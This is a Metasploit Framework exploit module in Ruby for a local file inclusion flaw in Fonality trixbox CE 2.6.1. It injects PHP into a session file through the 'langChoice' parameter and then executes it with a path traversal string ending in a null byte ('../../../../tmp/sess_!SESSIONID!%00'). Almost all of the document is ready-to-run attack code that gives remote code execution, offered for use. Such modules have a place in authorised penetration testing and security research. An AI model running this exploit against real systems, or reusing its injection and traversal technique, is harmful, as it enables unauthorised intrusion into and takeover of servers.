Fonality trixbox CE 2.6.1 – ‘langChoice’ Local File Inclusion (Metasploit)
## # $Id: trixbox_langchoice.rb 11516 2011-01-08 01:13:26Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # -*- coding: utf-8 -*- require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/ include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Trixbox langChoice PHP Local File Inclusion', 'Description' => %q{ This module injects php into the trixbox session file and then, in a second call, evaluates that code by manipulating the langChoice parameter as described in OSVDB-50421. }, 'Author' => ['chao-mu'], 'License' => BSD_LICENSE, 'Version' => '$Revision: 11516 $', 'References' => [ ['OSVDB' => '50421'], ['CVE' => '2008-6825'], ['BID' => '30135'], ['URL' => 'http://www.exploit-db.com/exploits/6026/'], ['URL' => 'http://www.trixbox.org/'] ], 'Payload' => { # max header length for Apache (8190), # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize # minus 23 for good luck (and extra spacing) 'Space' => 8190 - 23, 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, 'BadChars' => "'\"`" # quotes are escaped by PHP's magic_quotes_gpc in a default install }, 'Targets' => [['trixbox CE 2.6.1', {}]], 'DefaultTarget' => 0, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DisclosureDate' => 'Jul 09 2008' )) register_options( [ OptString.new('URI', [true, 'The uri that accepts the langChoice param', '/user/index.php']), OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']), ], self.class) end def check # We need to ensure that this can be reached via POST uri = datastore['URI'] target_code = 200 print_status "Attempting to POST to #{uri}" response = send_request_cgi({'uri' => uri, 'method' => 'POST'}) unless defined? response print_error 'Server did not respond to HTTP POST request' return Exploit::CheckCode::Safe end code = response.code unless code == target_code print_error "Expected HTTP code #{target_code}, but got #{code}." return Exploit::CheckCode::Safe end print_status "We received the expected HTTP code #{target_code}" # We will need the cookie PHPSESSID to continue cookies = response.headers['Set-Cookie'] # Make sure cookies were set if defined? cookies and cookies =~ PHPSESSID_REGEX print_status "We were successfully sent a PHPSESSID of '#{$1}'" else print_error 'The server did not send us the cookie we were looking for' return Exploit::CheckCode::Safe end # Okay, at this point we're just being silly and hackish. unless response.body =~ /langChoice/ print_error 'The page does not appear to contain a langChoice field' return Exploit::CheckCode::Safe end # XXX: Looking for a good way of determine if it is NOT trixbox # unless response.body.match(/trixbox - User Mode/) # print_status 'The target does not appear to be running trixbox' # return Exploit::CheckCode::Safe # end # print_status 'The target appears to be running trixbox' # If it has the target footer, we know its vulnerable # however skining may mean the reverse is not true # We've only tested on v2.6.1, so that is all we will guarantee # Example footer: v2.6.1 ©2008 Fonality # if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}©200[0-8] Fonality/ if response.body =~ /(v2\.6\.1)\s{2}©2008 Fonality/ print_status "Trixbox #{$1} detected!" return Exploit::CheckCode::Vulnerable end print_status 'The target may be skinned making detection too difficult' if response.body =~ /trixbox - User Mode/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def exploit # We will be be passing this our langChoice values uri = datastore['URI'] # Prepare PHP file contents encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>") # Deliver the payload print_status('Uploading the payload to the remote server') delivery_response = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'data' => "langChoice=#{encoded_php_file}%00" }) # The call should return status code 200 if delivery_response.code != 200 raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}" end print_status "The server responded to POST with HTTP code #{delivery_response.code}" # We will need the cookie PHPSESSID to continue cookies = delivery_response.headers['Set-Cookie'] # Make sure cookies were set if cookies.nil? raise RuntimeError, 'The server did not set any cookies' end # Contents of PHPSESSID. About to be set. session_id = nil # Retrieve the session id from PHPSESSID if cookies =~ PHPSESSID_REGEX session_id = $1 else raise RuntimeError, 'The cookie PHPSESSID was not set.' end print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'" # Prepare the value that will execute our payload detonation = datastore['PATH'].sub('!SESSIONID!', session_id) print_status "We will use '#{detonation}' as the value of langChoice to detonate the payload" # Request the detonation uri, detonating the payload print_status 'Attempting to detonate. You will need to clean /tmp/ yourself.' # Small timeout as we're just going to assume we succeeded. send_request_cgi({ 'uri' => uri, 'cookie' => cookies, 'method' => 'POST', 'data' => "langChoice=#{detonation}%00" }, 0.01) handler end end |